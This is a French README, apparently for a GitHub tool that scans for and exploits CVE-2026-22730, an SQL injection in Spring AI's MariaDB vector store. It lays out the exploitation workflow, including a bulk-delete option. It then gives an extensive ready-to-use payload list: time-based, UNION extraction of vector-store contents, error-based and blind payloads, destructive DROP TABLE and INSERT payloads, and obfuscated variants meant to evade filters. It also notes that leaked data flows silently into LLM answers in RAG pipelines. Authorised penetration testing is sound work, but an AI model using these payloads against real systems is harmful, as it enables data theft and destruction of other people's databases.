
Scanner et outil d'exploitation pour CVE-2026-22730, une injection SQL dans le stockage vectoriel MariaDB de Spring AI. Prend en charge la détection basée sur le temps, les méthodes GET/POST, et l'exploitation avec génération de rapports.
Un outil professionnel d'évaluation de sécurité pour CVE-2026-22730 – une vulnérabilité critique d'injection SQL découverte dans le vector store MariaDB de Spring AI. Cet outil permet aux testeurs d'intrusion autorisés et aux chercheurs en sécurité de détecter et d'exploiter en toute sécurité la vulnérabilité à des fins éducatives ou défensives.
📖 Présentation
CVE-2026-22730 affecte les versions de Spring AI 1.0.x < 1.0.4 et 1.1.x < 1.1.3 lors de l'utilisation du vector store MariaDB. En raison d'un échappement incorrect des valeurs de chaîne dans les expressions de filtre, un attaquant peut injecter du SQL arbitraire via des paramètres contrôlés par l'utilisateur (par exemple, les filtres de métadonnées). Cela peut conduire à :
Récupération de données non autorisée – contournement des contrôles d'accès basés sur les métadonnées
Suppression complète de la base de données – effacement de l'intégralité du vector store (destructif)
Fuite silencieuse de données – dans les pipelines RAG, les données divulguées sont intégrées aux réponses du LLM sans détection
Cet outil fournit une méthode sûre et configurable pour vérifier la présence de la vulnérabilité et démontrer son impact (avec consentement explicite) lors d'évaluations de sécurité autorisées.
🚀 Fonctionnalités
✅ Détection basée sur le temps – utilise l'injection SLEEP() pour confirmer la vulnérabilité
✅ Plusieurs méthodes HTTP – prend en charge GET (paramètres de requête) et POST (corps JSON)
✅ Durée de sommeil personnalisable – ajustement pour la latence réseau ou les exigences de discrétion
✅ Options d'exploitation – récupérer tous les documents (SELECT) ou tout supprimer (DELETE)
✅ Rapports complets – génère des rapports HTML, JSON et en texte brut
✅ CLI conviviale – mode interactif et arguments de ligne de commande complets
✅ Système de payload extensible – intégration facile de chaînes d'injection personnalisées
📋 Prérequis
Python 3.6 ou supérieur
Bibliothèque requests (pip install requests)
🔧 Installation
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Utilisation
Le script peut être exécuté en mode interactif ou avec des arguments de ligne de commande.
Syntaxe de base
bash
python cve-2026-22730_scanner.py [options]
Options
Option Description
--url URL cible (par exemple, http://localhost:8081/api/docs)
--method Méthode HTTP : GET ou POST (par défaut : GET)
--param Nom du paramètre de requête pour GET, ou nom de référence pour POST (facultatif)
--json-template Modèle JSON avec l'espace réservé PAYLOAD (requis pour POST)
--baseline Valeur bénigne pour la requête de référence (par défaut : inexistant)
--sleep Secondes de sommeil pour la détection basée sur le temps (par défaut : 5)
Exemples
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Vous serez invité à fournir l'URL, la méthode, le paramètre/modèle JSON, la baseline et le temps de sommeil.
Flux de travail d'exploitation
Si la cible est détectée comme vulnérable, le script présente un menu :
text
[?] La cible est vulnérable. Choisissez une option d'exploitation :
1. Récupérer tous les documents (injection SELECT)
2. Supprimer tous les documents (injection DELETE) - DESTRUCTIF
3. Ignorer l'exploitation
L'option 1 envoie ' OR '1'='1 pour récupérer toutes les lignes (non destructif, lit uniquement les données).
L'option 2 envoie le même payload en utilisant la méthode HTTP DELETE – supprime définitivement tous les enregistrements. Nécessite une confirmation explicite.
Toutes les actions sont journalisées et incluses dans le rapport final.
📁 Fichiers de sortie
Après chaque exécution, trois fichiers horodatés sont créés dans le répertoire courant :
cve-2026-22730_YYYYMMDD_HHMMSS.json – rapport JSON lisible par machine avec tous les détails.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – résumé en texte brut, y compris les données d'exploitation le cas échéant.
cve-2026-22730_YYYYMMDD_HHMMSS.html – rapport HTML formaté, adapté au partage ou à l'archivage.
⚠️ Avertissement important
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.
Obtenez toujours une autorisation écrite avant de scanner ou d'exploiter une cible.
📚 Références
Avis de sécurité GitHub GHSA‑c267‑rfvc‑mvpm
Avis de sécurité Spring AV26‑245
Article de recherche original par SecureLayer7
🤝 Contribution
Les demandes de fusion (pull requests), les rapports de bogues et les suggestions de fonctionnalités sont les bienvenus. Veuillez ouvrir un ticket (issue) d'abord pour discuter des changements majeurs.
📄 Licence
Ce projet est sous licence MIT – voir le fichier LICENSE pour plus de détails.
Développé avec ❤️ par Nabeel
Exemple pour PAYLOAD
Pour la communauté de la sécurité
📌 Comment utiliser ces payloads
Dans le script, lors de l'utilisation de POST avec --json-template, remplacez PAYLOAD par n'importe quel payload de la liste ci-dessous.
Pour les requêtes GET, transmettez simplement le payload comme valeur du paramètre (le script gère automatiquement l'encodage URL).
🔥 Catégories de payloads
Ces payloads provoquent un délai si l'injection réussit. Utilisez-les pour confirmer la vulnérabilité.
Payload Description
' OR SLEEP(5) -- Payload standard basé sur le temps. Si la requête marque une pause d'environ 5 secondes, l'injection fonctionne.
' OR BENCHMARK(10000000,MD5('a')) -- Alternative pour MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep imbriqué pour contourner certains filtres.
' OR 1=1 AND SLEEP(5) -- Combine une condition toujours vraie avec le sleep.
Ces payloads rendent la clause WHERE toujours vraie, renvoyant tous les enregistrements.
Payload Description
' OR '1'='1 Injection classique toujours vraie.
' OR 1=1 -- Autre variante (nécessite un espace après --).
' OR ''=' Repose sur la comparaison de chaînes vides.
' OR 1=1# Utilise # pour le commentaire MariaDB (encodé en URL comme %23).
' OR 1=1 LIMIT 1 -- Renvoie une seule ligne (utile pour une sortie contrôlée)
Utile lorsque l'application affiche les résultats. Vous devez faire correspondre le nombre de colonnes.
Payload Description
' UNION SELECT NULL, database(), user(), version() -- Récupère le nom de la base de données, l'utilisateur, la version. (Ajustez le nombre de NULL pour correspondre aux colonnes.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Liste les tables.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Liste les colonnes.
' UNION SELECT 1, content, metadata FROM vector_store -- Extrait les données réelles (si le nombre de colonnes correspond).
Déclenche des erreurs qui divulguent des informations.
Payload Description
' AND extractvalue(1, concat(0x7e, database())) -- Basé sur les erreurs MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) -- Autre méthode d'erreur.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Erreur de clé en double.
Utile lorsqu'aucune sortie ou erreur n'est affichée, mais que le comportement de l'application change.
Payload Description
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Vérifie le premier caractère du nom de la base de données.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Vérifie le nombre de tables.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Teste l'existence d'une table.
Payloads destructifs (à utiliser avec une extrême prudence).
Payload Description
' OR '1'='1 Lorsqu'il est utilisé avec DELETE, supprime toutes les lignes.
' OR 1=1; DROP TABLE vector_store -- Tente de supprimer entièrement la table (nécessite des requêtes empilées, souvent désactivées).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Tente d'insérer de nouvelles données.
Versions obscurcies pour échapper à la correspondance de motifs simple.
Payload Description
%27%20OR%20SLEEP(5)%20-- Encodé en URL (le script gère cela automatiquement).
' //OR//SLEEP(5)/**/-- Commentaires en ligne pour fragmenter les mots-clés.
' OR 0x273d27=0x273d27 -- Comparaison encodée en hexadécimal ('=').
' OR 1=1 /!50000SLEEP(5)/ -- Commentaire spécifique à la version MySQL.
Payload Description
' OR '1'='1 Utilisé pour récupérer tous les documents (preuve de concept).
' OR SLEEP(5) -- Payload de détection basé sur le temps utilisé dans le scanner.
' OR '1'='1 Également utilisé pour l'injection DELETE.
📝 Exemples de modèles JSON avec payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
Dans le script, vous transmettez le modèle comme suit :
bash
--json-template '{"department": "PAYLOAD"}'
Le script remplacera PAYLOAD par le payload réel.
REMARQUE à propos de l'URL
Le script nécessite l'URL complète du point de terminaison qui accepte le paramètre vulnérable. Par exemple :
✅ http://example.com/api/docs – si le point de terminaison est /api/docs
✅ http://example.com/search – si le point de terminaison est /search
❌ http://example.com – insuffisant, le script nécessite le chemin exact